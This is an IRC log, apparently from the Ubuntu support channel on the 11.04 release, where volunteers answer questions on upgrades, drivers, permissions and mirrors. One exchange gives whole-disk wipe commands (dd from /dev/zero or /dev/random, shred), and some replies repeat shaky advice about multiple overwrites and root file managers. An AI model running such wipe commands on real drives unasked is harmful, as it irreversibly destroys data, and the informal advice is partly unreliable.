[19:40] <Belinrahs> tripelb: what are you talking about? lol
[19:40] <DasEi> mattyh88: check in synaptic if your desired language is fully installed, then re-try
[19:40] <tripelb> !natty |jester7
[19:40] <ubottu> jester7: Ubuntu 11.04 (Natty Narwhal) is the current release of Ubuntu. Download http://releases.ubuntu.com/11.04/ - Release Info: http://www.ubuntu.com/getubuntu/releasenotes/1104
[19:40] <qin> mattyh88: try: setupcon
[19:40] <ipo> I cant run ubuntu on fujitsu laptop!
[19:40] <zvacet> karth: all I see when I type unity in filter is Ubuntu unity plugin or something like that
[19:40] <tripelb> Not a sexy problem: When I am on filesystem A I cant copy files from filesystem B (no permissions). When I boot into filesystem B I cant even SEE filesystem A. 10.04
[19:40] <jester7> tripelb: right :)  ubuntu+1 does not work
[19:41] <tripelb> I've been asking this for daze!
[19:41] <KrisDouglas> ipo, what is happening?
[19:41] <tripelb> ok jester7 I have been informed.
[19:41] <DasEi> mattyh88: also sudo apt-get update && sudo apt-get upgrade may be of use, another thing, can I pm you ?
[19:42] <tensorpudding> if you put icons in /usr/local/share/icons, will the system be able to find them?
[19:42] <Jot> does anybody here know how to solve xrandr: Failed to get size of gamma for output default?
[19:42] <mattyh88> DasEi: sure
[19:42] <tensorpudding> what else do you have to do to make it work?
[19:42] <Nickname_> just for anyones interest, also running natty on a hanvon bc10 touchpad or whatever they call them now :)   touch works GREATTTTT
[19:42] <bim> hi
[19:42] <^Spider^> upgrade from 10.10 to 11.04 doesn't work for me; I get something similar to this bug: https://bugs.launchpad.net/ubuntu/+source/update-manager/+bug/756329   -   How may I debug the problem?
[19:42] <ubottu> Ubuntu bug 756329 in update-manager (Ubuntu) "An unresolvable problem occurred while calculating the upgrade. Please report this bug against the 'update-manager' package and include the following error message: 'E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." [Undecided,Invalid]
[19:43] <DasEi> user82: your choice, dist-upgrade should be no problem
[19:43] <middle> i fixed it some how btw.. thanks for beign there
[19:43] <Mr_Proper_> Is it just me, are all the repository servers struggling since natty came out?
[19:43] <Mr_Proper_> Lots of timeouts
[19:43] <RRU_Sciguy> any idea as to when the sleep/resume issue shall be fixed?
[19:43] <proq> when I run gnome, the mouse settings that I change don't take effect in other window managers.  how do I get them to stay on?
[19:43] <bim> yeah, apt-get -y dist-upgrade is great ;)
[19:44] <velcroshooz> Mr_Proper_, high traffic. its going to be like that for awhile.
[19:44] <botcity> tripelb, there are so many details missing
[19:44] <RRU_Sciguy> proq: I dunno if the window managers share that cfg setting
[19:44] <Mr_Proper_> velcroshooz: Figured :) Tried a few, found one that seems more reliable, though slower, so I'll try that for a while
[19:44] <semitones> does ubuntu have a really stylish digital clock screensaver somewhere
[19:45] <tripelb> Hello, I have stuff on an ubuntu installation on one disk. And I want to copy it to another ubuntu installation on another (my main) disk. I dont care if it is become a second user on my main disc or what. I just want to clear the 10G disk. Now what do I do to get a comrad to assist me. It keeps telling me that I dont have permission. I can log into either disk.
[19:45] <TheHackOps> cya later guys
[19:45] <Froq> can silvermoon handle netlfix yet?
[19:45] <tripelb> botcity belinrahs does that help?
[19:45] <ross_> hello
[19:46] <Froq> can Silvermoon handle netflix yet?
[19:46] <TheHackOps> tripelb, if you want full permisions type su
[19:46] <ross_> is there such thing as  the best mobile broad access card for linux?
[19:46] <TheHackOps> Froq, Try it.....
[19:46] <ejv> !patience | Froq
[19:46] <ubottu> Froq: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[19:46] <Belinrahs> tripelb: why did you mention me? not sure how i fit in here...
[19:46] <semitones> Froq, more like netflix can't handle silvermoon
[19:46] <RRU_Sciguy> tripelb: sudo for short-term root priv
[19:46] <tripelb> TheHackOps, I need context. for the...
[19:46] <ross_> will meerkat work with 4g usb modem?
[19:46] <Froq> TheHackOps: I tried it 2 months ago & no luck.  didn't know if anythign has changed.  that is what is keeping me form going linux only in house
[19:46] <TheHackOps> ross_, Generic or a supported one
[19:46] <hoiken> hello all
[19:47] <ChessTeach> how does lvm work? do I install ubuntu on one hard drive, then install lvm and it begins using the second drive?
[19:47] <TheHackOps> Froq, What is keeping you
[19:47] <ross_> thehackops: can you please list some examples?
[19:47] <LAcan> are the firefox repos just broke today cuz of the update or what? i got one patched at 8am but no luck since then
[19:47] <TheHackOps> ross_, Its 5Am and i have been up all day and night on irc helping out
[19:47] <TheHackOps> ill be on tomoro
[19:47] <tripelb> belinrahs I was mistaken. I had the wrong context in my mind for your comment to me which was actually about my assertion that natty was not in this challel so please forgive me and be amused and my runon... :)
[19:47] <TheHackOps> or post in the forums
[19:47] <TheHackOps> i need sleep i have a big day tomorow
[19:47] <Varth> Has anyone figured out a way to make Google Chrome play nice with the Unity panel? I have window management buttons on the window and the panel when maximized, using either of Google chrome's titlebar modes.
[19:47] <fliegenderfrosch> tripelb: if you want to do it in a graphical way, just press alt+f2 and enter "gksudo nautilus", then you should have a file manager with admin privileges
[19:47] <Belinrahs> tripelb: no problem
[19:47] <tripelb> TheHackOps, later thanks
[19:47] <RRU_Sciguy> TheHackOps: GET SOME SLEEP MAN!!!
[19:47] <Froq> TheHackOps: my geeky side.  I like linux
[19:47] <botcity> tripelb, 10gigs can you use a usb stick? may be easier
[19:48] <pythoned> Greetings, I am running ubuntu and would like to donate a hdd to a friend. How can I format it to leave no trace on it? Just like it was brand new...?
[19:48] <ohsix> Varth: chrome draws its own decorations, t heres not much you can do about it
[19:48] <RRU_Sciguy> pythoned: reformatting the disk will erase the data
[19:48] <tripelb> botcity, yes I can. I still want to fix the issue. I'll take it to "ubuntuforums" and use the "good old american bailing wire" trick that you suggest. :P
[19:48] <ejv> pythoned: dd if=/dev/zero of=/dev/sdXX bs=1K
[19:48] <TheHackOps> Froq, I am linux only and i don't have any problems, RRU_Sciguy, The community needs support thats the only way to get new people so i pull my weight arround here to say thanks for the epic free os
[19:48] <botcity> pythoned, shred command
[19:48] <fliegenderfrosch> pythoned: i usually use "ultimate boot cd" for this
[19:49] <ipo> KrisDougal:  when I boot the CD , I se just a background!@
[19:49] <pythoned> RRU_Sciguy:  No, it will not...it will overwrite some portions of the HDD online.
[19:49] <trae> odd... why would I need 2G for a USB thumbdrive under Ubuntu when if I create the same one on Windows it only needs 1g (to make the same said USB thumbdrive system)
[19:49] <^Spider^> bye
[19:49] <fliegenderfrosch> RRU_Sciguy: reformatting does leave traces
[19:49] <Varth> ohsix: I actually got it figured out, It does work with the use native titlebar mode. I just didn't have it maximized like I thought I did. >_< Thanks for the input.
[19:49] <jiltdil> gui iptables for natty?
[19:49] <rannmann> pythoned: the dd method is my favorite.
[19:49] <akashm1990> I downloaded the revengeofthetitans .tar.gz from Humblebundle.  When I extract it , and try to run it using ./revenge.sh, nothing happens. Have tried chmod 777 revenge.sh and sudo ./revenge.sh
[19:49] <RRU_Sciguy> So does merely deleting
[19:49] <TheHackOps> RRU_Sciguy, I once stayed up for 3 days fixing some guys ubuntu install
[19:49]  * tripelb gives kudos to thehackops and hopes to know you more. (thinking 5am where is that?) goes to look at a map.
[19:49] <michaels> hi! i installed 11.04 on a macbook 2,1 i don't the the "at" to work (on the "G"-Key).... Anyone an idea?
[19:49] <jiltdil> please tell me the GUI iptables for natty?
[19:50] <RRU_Sciguy> TheHackOps: wow
[19:50] <pythoned> rannmann:  Does it work fine? i mean can i retrive data once I used that command?
[19:50] <TheHackOps> tripelb, Shout out from australia
[19:50] <TheHackOps> RRU_Sciguy, or whoever asked it. If you format and then overwright 32 times there is no trace
[19:50] <rannmann> pythoned: that overwrites the entire drive with 0's.  There is literally nothing on it.
[19:50] <ipo> I have problem on booting ubuntu!!!!!!!!!!!!!!!1
[19:50] <RRU_Sciguy> The best way to remove all traces without destroying the disk is to bleach it
[19:50] <ipo> please help!!! :(
[19:50] <pythoned> rannmann:  As I said I would like to donate I want to alter everything that was on it...
[19:50] <TheHackOps> Because the magnetics will be different completly
[19:50] <pythoned> rannmann:  Sweet, thank you so much sir!
[19:51] <TheHackOps> and Forensic recovery relies on that
[19:51] <ohsix> jiltdil: install the gui for ufw
[19:51] <fliegenderfrosch> pythoned: dd deletes the data securely, if you want to be totally sure use it multiple times, but after one run it should be really hard to get data even for forensics
[19:51] <GeekyAdam> hey all. friends ubuntu netbook edition wireless card stopped working. physical switch is on, but ifconfig only shows eth0 and lo. where do i start?
[19:51] <jiltdil> ohsix:ok thanks
[19:51] <brewster> where can i go for hardware related questions?
[19:51] <botcity> tripelb, is the hdd encrypted ?
[19:51] <semitones> what does the command "cd" do when used this way? cd && bzr get lp:~b0h3m4/+junk/noflipqlo
[19:51] <strigoi66> can anyone tell me where to get wifi driver for acer aspire 5000 laptop?
[19:52] <ohsix> jiltdil: it only does simple block and allow rules, but you can add custom rules to be applied with them (man ufw-framework)
[19:52] <ipo> everybody please help!
[19:52] <pestilence> semitones: changes to your home dir
[19:52] <fliegenderfrosch> pythoned: for added fun, use if=/dev/random :)
[19:52] <jiltdil> ohsix:thanks
[19:52] <strigoi66> for 11.04
[19:52] <semitones> pestilence, thanks
[19:52] <pestilence> semitones: note that you pasted two commands separated by &&
[19:52] <jmcantrell_> anyone using natty on a lenovo t420 or t520? i'm trying to see how compatible it is
[19:53] <pestilence> semitones: don't know what bzr get lp:~b0h3m4/+junk/noflipqlo does
[19:53] <pythoned> fliegenderfrosch:  But if the person takes the hdd to a special data lab ..will the folks there be able to see what's on it?
[19:53] <thejonb> i'm getting a 404 not found when trying to connect to the nautilus elementary ppa.  is it down?
[19:53] <Pici> thejonb: ppa.launchpad.net is overloaded. Try again later.
[19:53] <DasEi> jmcantrell_: on the t420 lucid is fine, though it's a mate's box
[19:53] <pythoned> fliegenderfrosch:  after I run the command like 3 times:)
[19:53] <nexus6__> is there a download problem ? i just get 45kb/s and have already tested on other download sites
[19:53] <thejonb> Pici: figured.  thanks.
[19:53] <RRU_Sciguy> pythoned: Deleting a file just erases the headers on the clumps (on window$ at least) the files are still there though
[19:53] <michaels> hi! i installed 11.04 on a macbook 2,1 i don't the the "at" to work (on the "G"-Key).... Anyone an idea?
[19:53] <botcity> pythoned, if your that paranoid i would torch it in the back yard
[19:54] <jmcantrell_> DasEi, know of any pain points when installing or does everything just work? any hardware that doesn't work?
[19:54] <pythoned> botcity:  Sadly I want to donate it:)) can't torch it...
[19:54] <IdleOne> nexus6__: the servers are over loaded it will settle down in a couple of days hopefully
[19:54] <botcity> pythoned, man shred
[19:54] <nexus6__> is there not alternative download?
[19:54] <RRU_Sciguy> pythoned, the only way to truly destroy data making it completely irrecoverable is to destroy the disk itself
[19:54] <fliegenderfrosch> pythoned: if you overwrite the data several times with random data, it should be impossible even for specialists to get data, if i recall correctly, i have read an article that even overwriting once  should be enough
[19:54] <DasEi> jmcantrell_: not that I new, the touchpad might need some extra work
[19:54] <pestilence> botcity: shred isn't useful for journaled filesystems
[19:54] <DasEi> knew*
[19:54] <IdleOne> !torrent | nexus6__
[19:54] <pestilence> he's better off with dd
[19:54] <ubottu> nexus6__: Torrent clients: Transmission (GTK and terminal-based), Deluge-Torrent, Freeloader, BitStormLite, BitTornado-GUI (GTK), KTorrent (KDE), QTorrent (Qt), Azureus (Java), TorrentFlux (web-based), bittornado, rTorrent, cTorrent, bittorrent, aria2 (terminal-based) - FAQ: http://www.bittorrent.com/FAQ.html - See also !P2P
[19:55] <whomie> hi!
[19:55] <DasEi> whomie: löle
[19:55] <mikeea> pythoned: try this iuse it on all my drives  http://www.dban.org/
[19:55] <KrisDouglas> If you open Synaptic package manager, go to repositories in the menu, and then where it says United Kingdom, or wherever, click change, then click other. Then click "select best server" and it will choose the fastest one available.
[19:55] <IdleOne> nexus6__: https://help.ubuntu.com/community/Metalink
[19:55] <BUGabundo> deb mirror://mirrors.ubuntu.com/mirrors.txt oneiric main restricted universe multiverse
[19:55] <KrisDouglas> Always works when a new release comes out.
[19:55] <BUGabundo> oh well
[19:55] <whomie> do you think I should use Ubuntu or SOLARIS for a home server?
[19:55] <BUGabundo> let the fun begin
[19:55] <jmcantrell_> i just want a laptop where everything works great out of the box. anyone have any suggestions?
[19:55] <IdleOne> BUGabundo: oneiric ?
[19:55] <red2kic> whomie: Debian. :)
[19:55] <pythoned> mikeea:  thanks
[19:55] <pestilence> whomie: gentoo
[19:55] <whomie> why Debian?
[19:55] <whomie> or Gentoo
[19:55] <whomie> :)
[19:55] <zenlunatic> jmcantrell_: system76
[19:56] <red2kic> whomie: Why Ubuntu or Solaris? ;)
[19:56] <whomie> what are the differences between them
[19:56] <pestilence> whomie:  you are in a ubuntu room.  what do you think?
[19:56] <whomie> hehe
[19:56] <botcity> pestilence, oh sorry is there an updated version like shred2.0
[19:56] <whomie> I was recommended Ubuntu by 1 person
[19:56] <DasEi> whomie: rather a question for ##linux, ubuntu support here
[19:56] <jmcantrell_> zenlunatic, do you own one?
[19:56] <nexus6__> whats the name of the german channel?
[19:56] <mikeea> pythoned: welcome
[19:56] <whomie> and SOLARIS by another
[19:56] <fliegenderfrosch> pythoned: if you use a tool like "boot and nuke" from the ultimate boot cd, you can select different modes which correspond e.g. to security standards of the american department of defense
[19:56] <zenlunatic> jmcantrell_: no i buy used thinkpads
[19:56] <Arrarita> hello
[19:56] <whomie> I think Solaris sounds better but that's just me :)
[19:56] <DasEi> nexus6__: #ubuntu-de
[19:56] <nexus6__> thank you
[19:56] <pythoned> fliegenderfrosch:  :)) sounds great for a paranoic like me
[19:56] <jmcantrell_> zenlunatic, what models of thinkpads and what's the experience like?
[19:56] <pestilence> whomie: distro flame wars belong elsewhere.  next question
[19:57] <Arrarita> hello, is there someone who can help me?
[19:57] <DasEi> nexus6__: can pm me, if you want
[19:57] <whomie> pestilente what's a distro?
[19:57] <DasEi> !details | Arrarita
[19:57] <ubottu> Arrarita: Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..."
[19:57] <whomie> sorry for noob questions hehe
[19:57] <zenlunatic> jmcantrell_: mostly anything works... just google ibm certified thinkpads
[19:57] <whomie> :)
[19:57] <mayank_k> ok so I have got the "enable wireless" enabled by downloading backports
[19:57] <Arrarita> on my laptop, I upgraded the new version, 11.04
[19:57] <zenlunatic> jmcantrell_: ibm sells them with a 1 yr warranty
[19:57] <pestilence> whomie: ubuntu is a linux distribution.  so is debian and gentoo.  i was being facetious when i recommended gentoo
[19:57] <whomie> facetious?
[19:57] <_Mr_Proper_> Looks like ppa.launchpad.net is what is dead. If I exclude that from my sources, I can proceed with the rest normally
[19:57] <whomie> what does that mean :P
[19:58] <botcity> pythoned, i think we all get that way from time to time 0.o
[19:58] <mayank_k> however it's still not able to search the wireless network
[19:58] <mayank_k> iwconfig shows this http://paste.ubuntu.com/600919/
[19:58] <pestilence> whomie: just install ubuntu already ;)
[19:58] <Arrarita> it won't boot up, and I have tried to re install using the cd, and it still won't work, I don't know what to do?
[19:58] <RRU_Sciguy> I do have a problem however, in 10.10 sleep/resume worked properly. In 11.04 on resume I get stuck at a screen with just a command-prompt-cursor like symbol in the top-left corner
[19:58] <biffbaxter> whomie: I am biased, but give wattOS a try...its ubuntu based running LXDE :)
[19:58] <psykidellic> So I have a server app (written using Python/Twisted) that is loaded up through /etc/init.d. The machine is an OpenVPN client and it seems if I start the app before OpenVPN loads up tun0, all my network communication faolure with: Connection Timed Out. If I restart my server app, it works correctly for the same code/machine.
[19:58] <ipo> KrisDouglas: When I boot that CD , I see just a background!
[19:59] <Arrarita> I see the background first, and then it goes black and nothing
[19:59] <jmcantrell_> zenlunatic, ubuntu says that a lot of the thinkpads are "certified", but there's notes about needing pre-installed images. what's that mean?
[19:59] <bencc> when trying "sudo apt-get update" I'm getting Failed to fetch gzip:/var/lib/apt/lists/partial/... Hash Sum mismatch
[19:59] <bencc> Some index files failed to download. They have been ignored or old ones used instead
[19:59] <bencc> is there something to do about it?
[19:59] <bencc> maybe clean the apt cache?
[20:00] <Arrarita> I tried to reinstall the last version using the cd, and that won't boot either
[20:00] <Kevin147> I'm having trouble with 11.04. I start up my desktop, and it goes to this grub> thing. It says to hit TAB to show commands and stuff...how do I fix this? someone please help!
[20:00] <Arrarita> I can't even get to the grub
[20:00] <TheHackOps> Ok can i clear something up before i get off
[20:00] <ipo> KrisDouglas: are you there?
[20:01] <TheHackOps> Australia is no a freaking outback bushland all across the board
[20:01] <RRU_Sciguy> TheHackOps, I know that, my mums from Melbourne
[20:01] <TheHackOps> I know america thinks we are but trust me were much more developed that most of america
[20:01] <RRU_Sciguy> And I live in America
[20:01] <arnab> how do i figure out how much space will be required to install a package, or will be freed up if i remove a package?
[20:01] <Arrarita> hello
[20:01] <Mjiig> hi, trying to do a "sudo do-release-upgrade", 2 packages keep giving me 403 Forbidden error every time i run it. Any help
[20:01] <TheHackOps> some guy pm'ed me asking how i get fiber optic internet in the outback
[20:02] <TheHackOps> ......
[20:02] <nit-wit> Kevin147, http://pastebin.com/y1gnRdQm let us know if you get in
[20:02] <RRU_Sciguy> People have asked my mom how long it took to drive here
[20:02] <LjL> !offtopic
[20:02] <TheHackOps> LOLOL
[20:02] <ubottu> #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[20:02] <Arrarita> is there another way to get help, I cannot follow this?
[20:02] <zenlunatic> jmcantrell_: no idea can you link me
[20:02] <pestilence> arnab: it tells you when your run apt-get install....
[20:02] <RRU_Sciguy> And some even asked what lang they speak in Australia -.-
[20:02] <TheHackOps> RRU_Sciguy, Go into offtopic i want to talk
[20:02] <TheHackOps> lol
[20:02] <LjL> !support | Arrarita
[20:02] <ubottu> Arrarita: The official ubuntu support channel is #ubuntu. Also see http://ubuntu.com/support and http://ubuntuforums.org and http://askubuntu.com
[20:02] <Mjiig> the packages are xfonts-100dpi and xfonts-750dpi
[20:03] <jmcantrell_> zenlunatic, http://www.ubuntu.com/certification/hardware/201102-7326
[20:03] <zenlunatic> jmcantrell_: msg me
[20:03] <arnab> ahh ok, thanks - am using ubuntu after more than a year - i almost forgot about aptitude and apt-get
[20:03] <Arrarita> thank you, I will try that
[20:03] <benji_> "Linux ubuntu-desktop 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:04:26 UTC 2009 i686 GNU/Linux" is 32 or 64 ?
[20:03] <RRU_Sciguy> TheHackedOps, I am there (#off-topic)
[20:03] <Mjiig> benji_: 32 bit i believe
[20:04] <wad> In general, I'm liking the 11.4 release. But there are a couple of issues I've noticed around my dual-monitor configuration: It doesn't play nice when I have one monitor positioned above the other.
[20:04] <zombor> anyone know the status of the GMA 2000 intel graphics chip? im having a hell of a time getting even a display to come up
[20:04] <strigoi66> where do I get drivers for wifi on acer aspire 5000 running natty
[20:04] <benji_> Mjiig, I would say so also, is there a better command to know that ?
[20:04] <TheHackOps> RRU_Sciguy, no your not
[20:05] <CiberLugo> how i can put the clock in notification bar in natty?
[20:05] <sundjinnkari> hello all How do I get unity back after installing gnome 3?
[20:05] <RRU_Sciguy> TheHackOps, i got an unavailable error with offtopic
[20:05] <Kevin147> nit-wit: Sorry, I am not very good with the grub stuff.. so like, run "prompt for grub2"?
[20:05] <TheHackOps> lol
[20:05] <TheHackOps> fail
[20:05] <LjL> RRU_Sciguy: /join #ubuntu-offtopic
[20:05] <RRU_Sciguy> ah, lol
[20:05] <RRU_Sciguy> i did off-topic
[20:05] <TheHackOps> you won
[20:06] <sundjinnkari> hello all How do I get unity back after installing gnome 3?
[20:06] <warpi> yo, does anyone have a tip of "IRC BOT" application for ubuntu?
[20:06] <bencc> when fetching from repositories I'm getting several Failed
[20:06] <bencc> why is that?
[20:06] <nit-wit> Kevin147, #1 is the header the decription # is the start of the commands
[20:07] <Pici> !info supybot | warpi
[20:07] <ubottu> warpi: supybot (source: supybot): robust and user friendly Python IRC bot. In component universe, is optional. Version 0.83.4.1.ds-2 (natty), package size 430 kB, installed size 2676 kB
[20:07] <nit-wit> Kevin147, start at #2
[20:07] <Kevin147> nit-wit: ok.
[20:07] <sundjinnkari> hello all How do I get unity back after installing gnome 3?
[20:07] <truepurple> I have tried to upgrade ubuntu to 11.04, I restarted my PC but it has loaded to a mostly blank screen with a couple scraggly lines of dashes at the top
[20:07] <Mjiig> benji_: can't think of one, what's wrong with uname?
[20:07] <KrisDouglas> sundjinnkari, gnome 3 breaks unity, I don't know of a way to restore what happens afterwards.
[20:07] <warpi> ubottu, thx!
[20:08] <Mjiig> hi, trying to do a "sudo do-release-upgrade", 2 packages keep giving me 403 Forbidden error every time i run it. Any help
[20:08] <Mjiig> the packages are xfonts-100dpi and xfonts-750dpi
[20:08] <nit-wit> Kevin147, you can do it when you hit tab it is to complete so if you hit the tab where stated and nothing comes up start again, you don't have to reboot to try again.
[20:08] <benji_> Mjiig, nothing, it would be nice to actually see 32 when it is
[20:08] <benji_> but I can live with that
[20:08] <Barsuk> Which video converter is the best for linux?
[20:08] <Barsuk> I want to convert film to my mobile format mp4
[20:08] <Kevin147> nit-wit: oh alright I see... on the "linux /boot/vmlinuz<tab> nothing comes up
[20:09] <Mjiig> benji_: someone more competant than me could probably knock together a bash function to do that
[20:09] <Nickname_> winff handbrake
[20:09] <Mjiig> benji_: i'll givce it a go
[20:09] <ipo> everybody thanks for helping!
[20:09] <ipo> :'(
[20:09] <milen8204> Could anyone help me to mount my old /home partition to my new one /home :D, because I had preinstal my ubuntu
[20:09] <nit-wit> Kevin147, the first line #2 has to be with the correct partition. Also the spaces a critical as well.;)
[20:10] <isibilir> hi
[20:10] <nit-wit> *are
[20:10] <isibilir> i install 11.04
[20:10] <truepurple> I have tried to upgrade ubuntu to 11.04, I restarted my PC but it has loaded to a mostly blank screen with a couple scraggly lines of dashes at the top
[20:10] <isibilir> today
[20:10] <nit-wit> truepurple, tried ir did upgrade
[20:10] <nit-wit> *or
[20:10] <isibilir> but dont work unity because don't install 8400gs vga driver and  i dont find driver
[20:10] <milen8204> truepurple,  same as me
[20:11] <Mjiig> benji_: uname --machine | grep i686 >/dev/null && echo "Your one a 32 bit machine" || echo "Your on a 64 bit machine"
[20:11] <Mjiig> i think that works
[20:11] <milen8204> truepurple, I had the same problem
[20:11] <benji_> Mjiig, haha you rick
[20:11] <benji_> rock*
[20:11] <truepurple> nit-wit: Well I downloaded the files, got to the stage where it was suppose to install the upgrade, but I got this instead
[20:11] <benji_> :)
[20:11] <Mjiig> no problem
[20:11] <Furry> In Natty, can I add my own applications to the Launcher?
[20:11] <Mjiig> i rarely get to test my (limited) bash skills
[20:11] <zvacet> isibilir: did you look under system>admin additional drives if you can install it from there
[20:11] <milen8204> truepurple, I had preinstal
[20:12] <truepurple> milen8204: I will create a thread on this problem too and link you to it for you to contribute
[20:12] <sweb> i install it on eee pc ausu 904 hd, linux suppor
[20:12] <sweb> support
[20:12] <isibilir> add.. drivers dont open
[20:12] <Furry> LjL, missed the last | I think
[20:12] <blurgh> Chello!
[20:12] <sweb> after some restart the theme of gnome will be broken
[20:12] <moltendorf> Hey everyone, quick question, just did a test swap to ubuntu 11.04 over SSH, but the network performance seems to be very, very slow; namely using SSH, connecting is quick, but when it prompts me for password, it takes a good 15 seconds to respond. Attempting to log in through the physical console results in no delay.
[20:12] <milen8204> truepurple,  ok
[20:12] <truepurple> milen8204: What do you mean by preinstall? You bought a computer already like this?
[20:12] <Blakviper> hi, ne1 have time to review with me a problem? I've just installed ubuntu, with winXP, it freezes at the login screen
[20:12] <moltendorf> Anyone know how to fix this?
[20:12] <sweb> windows 7 work on eee pc well
[20:12] <isibilir> and i find ubuntu software center a diffrent add.. drivers and install but sam
[20:12] <isibilir> same
[20:13] <Kevin147> nit-wit: its saying no such partition
[20:13] <hf_acid> Furry: yes, if you find the application via the unity search you should be able to drag and drop it onto the side there
[20:13] <joepa> using natty/unity release, apps won't stay pinned to the Launcher. I right-click, choose keep in Launcher, logout, login, and it's gone. I formatted and reinstalled, same problem. it doesn't matter whether I'm logged in as a normal user or as root, same problem. Any ideas?
[20:13] <milen8204> truepurple, I had 10.10 then i have undated, and my laptop fails
[20:13] <truepurple> nit-wit: Are you able to help?
[20:14] <nit-wit> truepurple, to be honest the description is confusing. The update upgrade should happen with not turning the computer off. Is the a failed upgrade, so you thought your computer was okay then restarted to the situation now?
[20:14] <vanguard> I just upgraded to Natty and now my Desktop Effects lag seriously (was fine with ATI driver in Maverick), my window decorations are gone. How can I get everything back into a working state?
[20:14] <truepurple> milen8204:  Did you try to upgrade to 11.04?
[20:14] <milen8204> truepurple, than I downloaded a new 11.04 and burned it on disk and I made a new instalation
[20:14] <milen8204> truepurple, yes
[20:14] <blurgh> Has anyone managed to get global menu working in Eclipse?
[20:14] <truepurple> nit-wit: Of course you need to restart your PC when upgrading from 10.10 to 11.04
[20:15] <kate__> Anyone got time to answer a question about why I can't get my image cd to work>
[20:15] <milen8204> truepurple, I had installed it
[20:15] <sweb> any one can answer me ?
[20:15] <truepurple> milen8204:  And you also only see a bit of dashed lines at the top of the screen with the rest blank?
[20:15] <vanguard> I just upgraded to Natty and now my Desktop Effects lag seriously (was fine with ATI driver in Maverick), my window decorations are gone. How can I get everything back into a working state?
[20:15] <csuwldcat> sooo
[20:15] <milen8204> truepurple, I restarted and then nothing happed
[20:15] <nit-wit> truepurple, yes if you had a good upgrade. the way you have described it is confusingto me at least.:)
[20:15] <qin> vanguard: compiz --replace ??
[20:15] <csuwldcat> question
[20:15] <truepurple> milen8204: What do you see on your screen?
[20:15] <Kevin147> nit-wit: its saying no such partition
[20:16] <hazure> I'm encountering a problem where many applications just show a white screen when started (after logging in for a bit). They seem responsive, but just white. Ditto with the lockscreen (full screen goes white, but the password can be put in).
[20:16] <botcity> kate__, did you checksum the image ?
[20:16] <csuwldcat> I am getting the dreaded sudo: must be setuid root
[20:16] <milen8204> truepurple, sing UBUNTU and 4 points under it :D
[20:16] <truepurple> nit-wit: I will explain it in a thread and link you to that thread
[20:16] <csuwldcat> because I AGAIN tried to chown the /usr dir
[20:16] <nit-wit> truepurple, cool
[20:16] <kate__> It starts but then pauses and tells me 'undevd 83: worker unexpectedly returned with status 0x0100' and then I can't move
[20:16] <milen8204> truepurple,  and that was for an hour
[20:16] <truepurple> milen8204: it says the words "sing UBUNTU"?
[20:16] <csuwldcat> apt-get was trying to mod a file in the dir and sudo before the command wasn't working
[20:16] <isibilir> how can install nVidia 8400GS driver
[20:17] <kate__> I thought maybe it was a bad image, but I downloaded a new one and it still does it
[20:17] <csuwldcat> so I was like "well it is telling me that I have to be the owner, even with pseudp"
[20:17] <milen8204> truepurple, no tghe starting words Ubuntu I know
[20:17] <DasEi> isibilir: use jockey-gtk
[20:17] <ivancp> hello, I can't see the volume icon in my ubuntu 11.04 with gnome 2.x.... how to restore that icon?
[20:17] <csuwldcat> sudo
[20:17] <qin> kate__: Did you burn in to CD, and how?
[20:17] <csuwldcat> so now I have no root abilities on sudo
[20:17] <botcity> kate__, did you checksum the image or burn at the slowest speed?
[20:17] <csuwldcat> and no ownership of /usr
[20:17] <demlasjr> so...nobody know to fix the wireless problem...guess I need to switch to windows...:((
[20:17] <isibilir> DasEi: HOW TO USE jockey-gtk
[20:17] <kate__> I right clicked the image and selected 'burn to cd'... whatever it did for that.
[20:17] <csuwldcat> everything I have seen says to reisntall
[20:17] <tripelb> Repeat(I got interrupted)I cant copy files from disk A to disk B (got no permissions it says)  Neither one is encrypted. When I am on drive A (the installation I use all the time 1T, new) I can see drive B and look at things but I cant copy files because I dont have permission. But I can edit a file and resave it on that disk. (botcity are you still interested in this question?)
[20:18] <DasEi> isibilir: sudo jockey-gtk
[20:18] <isibilir> THX
[20:18] <vanguard> qin: is it normal that it does nothing for a while after imgsvg?
[20:18] <DasEi> isibilir: choose recommended, activate, and ..
[20:18] <kate__> I burned a 10.04 LTS image with the same process, no problem.
[20:18] <isibilir> ok i will try now
[20:18] <isibilir> thx
[20:19] <DasEi> isibilir: stop gnome, do a : sudo nvidia-xconfig, start gnome
[20:19] <csuwldcat> so are you really telling me that when I get feedback from an install command that says I need to be an owner of a file, and that flag is raised ***even with sudo*** and I own the file, it cause a state where the only answer is reinstallation?
[20:19] <csuwldcat> wow
[20:19] <csuwldcat> what an epic fail
[20:19] <okenobi_> hello world ... i'm upgrading to 11.04 ... hardly wait to see the outcome
[20:19] <zvacet> kate__: did you downloaded with torrent
[20:19] <DimaV> I have just upgraded my 10.10 server box to 11.04, but I guess grub installed incorrectly and now i am not getting past the "bash-line editing" cmd grub. I am in a live cd now. help?
[20:19] <qin> vanguard: No clue... I am afraid my Natty updrade is nto done yet.
[20:19] <isibilir> i am new user ubuntu and linux
[20:19] <blurgh> Has anyone managed to get global menu working in Eclipse? Or is it depending on developers to fix it?
[20:19] <csuwldcat> ubuntu and linux are really cool
[20:19] <isibilir> how :)  can i stop
[20:19] <isibilir> :D
[20:19] <moltendorf> I just successfully did a swap to Ubuntu 11.04 Server (from another operating system) over SSH, everything seems to work fine, but since the swap SSH seems to be very sluggish. Could this be due to my network settings being incorrect? I'm not quite sure what everything in this file does (namely the "network" and "broadcast" values). /etc/network/interfaces: http://pastebin.com/Y8irAjdS
[20:19] <kate__> No, from the main Ubuntu page.
[20:19] <botcity> tripelb, one min!
[20:20] <Kevin147> How do I find out which partition has the OS on it?
[20:20] <qin> isibilir: Stop hwat?
[20:20] <qin> *what?
[20:20] <csuwldcat> but if you want it to progress beyond the parent's basement, shit has to get more intuitive than this
[20:20] <csuwldcat> so reinstall?
[20:20] <csuwldcat> really
[20:20] <csuwldcat> seriously?
[20:20] <isibilir> stop gnome
